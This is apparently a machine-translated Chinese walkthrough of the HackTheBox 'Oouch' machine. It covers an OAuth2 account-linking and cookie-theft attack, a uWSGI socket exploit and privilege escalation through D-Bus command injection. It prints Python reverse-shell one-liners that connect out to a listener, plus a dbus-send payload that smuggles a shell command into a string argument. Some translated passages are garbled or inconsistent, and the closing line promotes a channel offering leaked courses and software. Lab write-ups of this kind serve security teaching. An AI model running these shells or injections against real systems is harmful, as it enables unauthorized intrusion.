我将继续发布解决方案，以期从HackTheBox平台完成计算机的最终定稿。
在本文中，我们将分析对OAuth2身份验证的攻击，并注册我们的应用程序以劫持管理员cookie。除此之外，我们还将在Web服务器和uWSGI Web应用程序服务器中运行RCE，并通过D-Bus消息总线提升特权。
与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接，因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
组织信息
侦察
这台机器的IP地址为10.10.10.177，我将其添加到/ etc / hosts中。
10.10.10.177 oouch.htb第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间，因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500
现在，要获取有关端口上运行的服务的更多详细信息，请使用-A选项运行扫描。
nmap -A oouch.htb -p8000,22,21,5000,5555
因此，我们有：
- 端口22是SSH。
- 端口8000是Web服务器，其代码为400。
- 端口5000-Web服务器，重定向到授权页面。
- 端口21-FTP（位于project.txt文件所在的位置），可通过匿名授权访问。
以匿名身份转到FTP，下载文件并查看。
什么都没告诉我们。我们转到Web服务器。
从nmap报告中可以看到，重定向到授权页面。有可能注册，让我们注册然后登录。
因此，该站点正在开发中，可存储有关用户的最少信息，具有存储文档的能力（此选项仅对开发人员可用），并且还具有来自主管部门的反馈。我们确信系统管理员会读取所有消息。
尝试窃取Cookie时，标签已被阻止（顺便说一句，它不再被阻止）。
没有找到任何向量，因此决定扫描目录。
dirb http://oouch.htb:5000/
我们找到了一个隐藏目录oauth。
让我们将此域添加到/ etc / hosts中。
10.10.10.177 consumer.oouch.htb
但是有重定向。让我们将此域添加到/ etc / hosts中。
10.10.10.177 authorization.oouch.htb
再次遇到登录页面。我们使用相同的凭据登录。但是，通过新的尝试，我们被转移到端口8000。
Consumer.oouch.htb：5000 / oauth / connect-> authorization.oouch.htb：8000 / login /立即
扫描目录后，我们没有发现任何有趣的内容，因此我们也在此注册。
并找到一个dirb找不到的新目录。让我们搜索一下。
dirb http://authorization.oouch.htb:8000/oauth
还有一个目录！但是，HTTP身份验证满足了我们的要求。
我们也在此目录中执行此操作。
dirb http://authorization.oouch.htb:8000/oauth/applications/
最可能的应用程序位于此目录中，并且可以对其进行注册。我们在这里没有发现更多有趣的东西。
通过在必要的地方注册，我们返回到原始连接。使用OAuth身份验证。
OAuth验证
OAuth是一种开放式授权协议，可让您向第三方提供对受保护用户资源的有限访问权限，而无需将您的登录名和密码转移给第三方。
OAuth使用三种类型的凭据：客户端凭据，临时凭据和令牌凭据。
OAuth 2.0协议步骤：
- . (client ID), (client secret), URI (redirect URI) .
- , authorization grant.
- , .
- , , ( ). .
- .
- , .
这样，用户帐户便与资源服务器上的特定资源相关联。
Oauth攻击
该协议可能会受到攻击，这使我们可以将我们的帐户与其他用户的资源关联起来。为此，您无需使用一次性访问令牌，而是强制其他用户将其传输到服务器。然后，拥有令牌的帐户将与提供令牌的帐户的资源相关联。
由于系统管理员会回答所有消息，因此他可能会遵循我们将向他发送的链接。另外，在此应用程序中，访问令牌不是在HTTP标头中传递的（应该传递），而是在URL参数中传递。这样我们就可以进行这种攻击。
转到consumer.oouch.htb：5000 / oauth /连接并使用Burp Suite捕获它。
我们跳过此请求，并使用客户端ID参数进行重定向。
我们也跳过此请求。重定向之后，我们可以观察到身份验证协议的其他参数。
再次跳过该请求。授权窗口出现在页面上。最后，单击授权按钮。
我们跳过此请求。现在，我们以一次性代码作为参数再次被重定向！
让我们保存此令牌并放弃请求。让我们将此链接发送给管理员，以便当他关注该链接时，我们的帐户将与他的资源绑定在一起（如果您还记得的话，他有权存储文档）。
现在让我们遍历Consumer.oouch.htb：5000 / oauth / login。
我们单击已经熟悉的按钮，然后在打开的页面中观察用户配置文件qtc。
让我们看看文档。
有关于SSH密钥，用户目录和用于注册应用程序的凭据的记录。
入口点
如果我们可以注册我们的应用程序，则可以强制管理员去查找它的cookie！
让我们回到应用程序注册页面并登录。然后，在打开的表单中，我们将注册一个新应用程序，指示客户端的公共类型，授权授权的代码类型，并指示在本地主机上打开的用于连接的端口。
我们保存客户ID和客户机密。让我们尝试自己登录以检查身份验证是否有效，并将用户重定向到我们。
让我们形成一个链接，在相应的参数中指定注册应用程序的数据：
authorization.oouch.htb：8000 /的OAuth /授权/ CLIENT_ID = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs ＆REDIRECT_URI = HTTP：//10.10.14.203： 4321＆grant_type = authorization_code＆client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6
现在，按照它来查看连接。
由于一切正常，我们将其发送给管理员。
这就是我们识别其Cookie的方式。让我们应用它们。
并且我们以qtc身份登录到服务器。
用户
要访问资源，我们需要一个令牌，为了使服务器将其返回给我们，我们将授权授权类型更改为client_credentials。
然后，我们将使用curl请求令牌：设置POST方法（-X），所需的HTTP标头（-H），Cookie，我们要发送的数据，并允许重定向（-L）。由于响应以JSON格式返回，因此我们使用jq很好地显示了响应。
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq
我们收到令牌。现在我们可以转到文档中列出的资源。让我们也用curl做这个。
curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq
正如预期的那样，我们收到有关用户的信息。但是我不知道下一步该怎么做！仅当他们向我提示“用于获取用户数据的API已准备好，但有计划获得SSH密钥”时，才做出猜测。然后我认为，类似于get_user API，要获取有关用户的信息，我应该尝试调用get_ssh。
curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq
然后我们得到了用户的qtc密钥。将其恢复为正常形式后，我们连接到主机并接住用户。
根
要在主机上进行侦查，请运行LinPEAS。结果，我们发现了根部留下的音符。
除了docker在主机和ssh私钥上运行外，我们什么也找不到。
最有可能的攻击途径是去码头工人。此外，该注释还提到了DBus和iptables。每个人都已经了解iptables，但是DBus是另一回事。 Dbus或Desktop Bus是主要在Linux操作系统中使用的系统，用于使各种应用程序和服务相互通信。
让我们看一下找到的网络接口。
我们看到了2位房东。我们设法输入了第一个。
并找到目录/代码。
在start.sh中，我们发现使用uwsgi。
在routes.py中，我们发现使用了dbus。
因此，服务的用户有权使用dbus。也就是说，我们需要获得一个外壳。
uWSGI是Web服务器和Web应用程序服务器，最初实现为通过WSGI协议运行Python应用程序。用于运行基于Django，Flask等框架的应用程序。让我们寻找漏洞。
下载第一个，并将其上传到主机。
scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/开始吧。
因此，我们需要一个uwsgi套接字。此外，该服务当前正在运行。
这意味着套接字也将位于tmp目录中。
让我们使用所有参数运行漏洞利用程序。
导入字节时出现错误，让我们进入并更改源代码。
如果再次运行该漏洞利用程序，它将起作用，但将无法起作用。我用python替换了bash shell。有效。
python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
在带有netcat的终端中，我们看到了连接。
现在，我们有权运行dbus。dbus-send命令用于将消息发送到D-Bus消息总线。有两种众所周知的消息总线：系统范围的消息总线和用于用户登录会话的消息总线。要使用dbus-send，您需要知道“连接名称”，该名称在--dest参数中指定。必须始终指定对象的路径和要发送的消息的名称。以下参数（如果有）是消息内容（消息参数）。它们以类型名称，冒号和参数值的形式给出。可能的类型名称：字符串，int32，uint32，双精度型，字节，布尔型。
示例命令：
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block “string:; SHELL”我们使用--print-reply阻止对请求的回复。
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"
而且我们看到了成功的连接。
您可以通过Telegram加入我们。在这里，您可以找到有趣的资料，泄漏的课程和软件。让我们聚集一个社区，在这个社区中，将有很多IT领域的专家，然后我们可以在任何IT和信息安全问题上互相帮助。